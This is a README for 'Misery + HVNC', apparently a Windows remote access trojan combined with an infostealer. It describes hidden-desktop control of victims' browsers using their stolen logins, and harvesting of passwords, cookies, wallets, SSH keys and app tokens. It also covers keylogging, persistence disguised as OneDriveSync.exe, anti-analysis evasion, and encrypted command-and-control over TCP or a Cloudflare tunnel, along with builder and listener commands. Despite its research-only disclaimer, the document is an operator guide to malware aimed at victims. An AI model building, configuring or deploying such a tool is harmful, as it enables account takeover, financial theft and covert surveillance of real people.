Misery + HVNC
a devoted sister of the Church of Malware
HVNC inspired by Ek0m's research, rebuilt on top of the Misery stealer.
- Hidden desktop (
hvnc start): run any app on a hidden desktop and watch it live - Interactive browser (
hvnc launch chrome): full Chromium with the victim's logins, driven over CDP in the view - Ghosted browser (
ghost <url>): real Chrome/Edge session using the victim's cookies and logins - Credential and app-session harvesting (Misery stealer pipeline)
- Browsers: Chrome, Edge, Brave, Opera, Opera GX, Firefox
- Apps: Discord, Steam, Telegram, Slack, Signal, VS Code, AWS, SSH keys, Wi-Fi passwords, wallets
- Single encrypted C2 channel: reverse TCP (default) or HTTPS beaconing through a CDN
- Keylogger + clipboard monitoring (keystrokes tagged by session: hidden desktop vs the victim's desktop)
- Persistence (HKCU Run key + WMI event subscriptions)
- Anti-analysis (user-mode environment checks before connect)
- Reflective injection / offline DPAPI fallback for decryption
For local testing and research only.
Disclaimer
Educational/research use only. Run only on systems you own or have written permission to test, in an isolated lab. Authors take no responsibility for misuse.
Operator view
The console's live session feed (hidden desktop, or the CDP-rendered browser view), streamed from the agent and rendered in the view window:
VirusTotal scan
Which session to use
Ghost automation (ghost <url>) |
Hidden desktop (hvnc start) |
Interactive browser (hvnc launch) |
|
|---|---|---|---|
| What you see | none; driven over CDP | full desktop capture (GDI apps) | page viewport, CDP-rendered |
| Profile | snapshot copy of the victim's profile (deleted on stop) | apps only; browsers get a snapshot copy | snapshot copy (deleted on stop) |
| Browsers | Chrome / Edge | any app | Chrome / Edge / Brave / Opera via CDP; Firefox & IE on the desktop |
| Collides with open browser? | No (its own copy) | No (browsers use a copy) | No (its own copy) |
| Writes back to profile? | No | No (only the copy) | No (only the copy) |
| Use when | you want the logged-in session handled without watching | you need the whole desktop or a non-browser app | you want to browse logged-in sites interactively |
Chrome-family browsers render through DirectComposition, which GDI capture cannot read on a hidden desktop, so hvnc launch of a Chromium browser switches the view to CDP-driven frames: in-process screenshots, trusted input. The view shows the page viewport, not the tab strip or address bar.
A hidden-desktop browser window counts as 0% visible, so Chromium's occlusion tracker pauses its renderer — the page then answers nothing and captureScreenshot hangs. All Chromium launches therefore carry --disable-backgrounding-occluded-windows --disable-renderer-backgrounding --disable-features=CalculateNativeWinOcclusion (plus a 30s Page.bringToFront reminder). The CDP client also survives the renderer moving to another process (Orphaned session: "Not attached to an active page"): it re-attaches, then relaunches the browser as a last resort.
The stealer runs inside the browser via reflective injection when possible (passes process checks). Falls back to offline DPAPI in the agent process otherwise. Everything goes over one encrypted channel: agent streams frames/results, console forwards input and writes exfil to disk.
Quick start
setup.py is an msfvenom-style builder that writes src/config.h, the console's ECDH private key to .misery_key, and builds the project.
python setup.py -g
# or non-interactive:
python setup.py -t tcp LHOST=127.0.0.1 LPORT=4444 -o agent
.\build\console.exe # listener
.\build\agent.exe # connects
Console is a terminal (misery > prompt). A live view window opens for the session feed (hidden desktop, or the browser view when hvnc launch starts Chrome/Edge/Brave/Opera); input is forwarded.
Commands: steal, hvnc start | stop | launch [path] | quality [10-100], ghost <url> | nav <url> | stop, keylog, clip, clear, exit (type help for full list).
Steal summary example:
[+] steal done: 0 pw / 0 ck / 0 cards / 2 discord / 1 steam / 1 wallets / 1 wifi / 1 ssh / 1 vscode / 0 telegram / 0 slack / 0 signal / 0 aws -> loot-20260812_001608.json
Configuration
Priority: CLI (agent <host> [port]) > env (HVNC_C2_HOST, HVNC_C2_PORT) > src/config.h (generated by setup.py).
- Keypair lives only on the operator side (
.misery_key, gitignored). Only the public half is compiled into the agent. - Each TCP connection does a plaintext
KEY_EXCHANGEwith the agent's ephemeral key → AES-256-GCM session key. --rotate-keygenerates a new pair (orphans existing agents).
Persistence
Separate agent modes (register and exit):
| Flag | Effect |
|---|---|
--persist / --unpersist |
HKCU Run key (T1547.001). Copies to %APPDATA%\OneDriveSync.exe |
--persist-wmi / --unpersist-wmi |
Two WMI subscriptions (T1546.003): 15-min timer + guard that recreates the Run value |
Both point at the same %APPDATA% copy. Guard is idempotent.
CDN transport (Cloudflare)
python setup.py -t https_cdn
Emits deploy/worker.js + deploy/cloudflared-config.yml.
agent ──HTTPS──▶ Cloudflare Worker ──▶ Zero Trust Tunnel ──▶ console
Beacon carries the agent's ephemeral public key so the console can re-derive the session key. Worker validates an auth header and redirects through the tunnel (no public IP needed on the console).
Polls run on jittered intervals; failures back off exponentially (capped) and honor the worker's Retry-After on 429/503, so a slow or rate-limited relay is not hammered.
Build
Requires cmake and a C++ toolchain (MSVC, MinGW, or Clang).
MSVC:
cmake -S . -B build -G "Visual Studio 17 2022" -A x64
cmake --build build --config Release
MinGW:
cmake -S . -B build -G "MinGW Makefiles" -DCMAKE_BUILD_TYPE=Release
cmake --build build -j 4
The two asm trampolines ship as both GAS (.s, MinGW/Clang) and MASM (.asm, MSVC); CMake picks the dialect per compiler. The payload DLL is embedded into the agent as a generated byte array (cmake/embed_payload.cmake), so no objcopy is required on any toolchain.
Fresh checkout builds out of the box against 127.0.0.1:4444. Run setup.py once before the first live session so .misery_key exists.
Outputs
Written by the console in its working directory:
loot-<timestamp>.json(gitignored)keylog.txtclipboard.txt
Tested on Chrome/Edge, Windows 10/11 x64.
Layout
src/agent– entry, C2 client, injector, persistencesrc/console– operator console + listenersrc/payload– payload DLL, reflective loader, trampolinesrc/stealer– Misery-derived sourcessrc/hvnc– hidden-desktop sessionsrc/ghost– ghosted browser sessionsrc/browser– CDP client that drives the ghost browser and the interactive browser view (Page/Input over WebSocket)src/rat– keylogger + clipboardsrc/transport– encrypted TCP framing, HTTPS beacon carrier, compressionsrc/evasion– indirect syscalls, anti-analysis, helpersbuild/– out-of-source build dir
Licence
No licence granted. Research code for study only; not licensed for redistribution or commercial use.

